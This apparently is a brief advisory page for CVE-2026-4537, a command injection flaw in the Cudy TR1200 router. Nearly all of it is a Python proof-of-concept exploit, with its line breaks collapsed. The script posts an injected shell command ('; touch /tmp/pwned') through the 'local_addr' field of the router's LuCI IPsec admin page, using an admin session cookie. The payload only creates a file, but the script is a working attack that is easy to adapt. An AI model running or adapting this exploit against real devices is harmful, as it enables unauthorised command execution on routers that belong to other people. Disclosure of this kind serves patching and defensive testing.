CVE-2026-4537 Cudy TR1200命令注入漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-4537 (Command Injection in Cudy TR1200) # Requires High Privileges (Admin Login) import requests # Target URL (adjust IP accordingly) target_url = "http://192.168.1.1/cgi-bin/luci/admin/vpn/ipsec" # Attacker's IP or command to verify execution # Example: creating a file or pinging an external host injected_command = "; touch /tmp/pwned" # Login credentials (High Privileges required) payload_data = { "cbi.submit": "Save", "action_ipsec_conn": "test_conn", # Injecting payload into a vulnerable field "local_addr": injected_command } # Session cookie obtained after authentication cookies = { "sysauth": "<admin_cookie_value>" } try: response = requests.post(target_url, data=payload_data, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check if the command was executed on the target.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")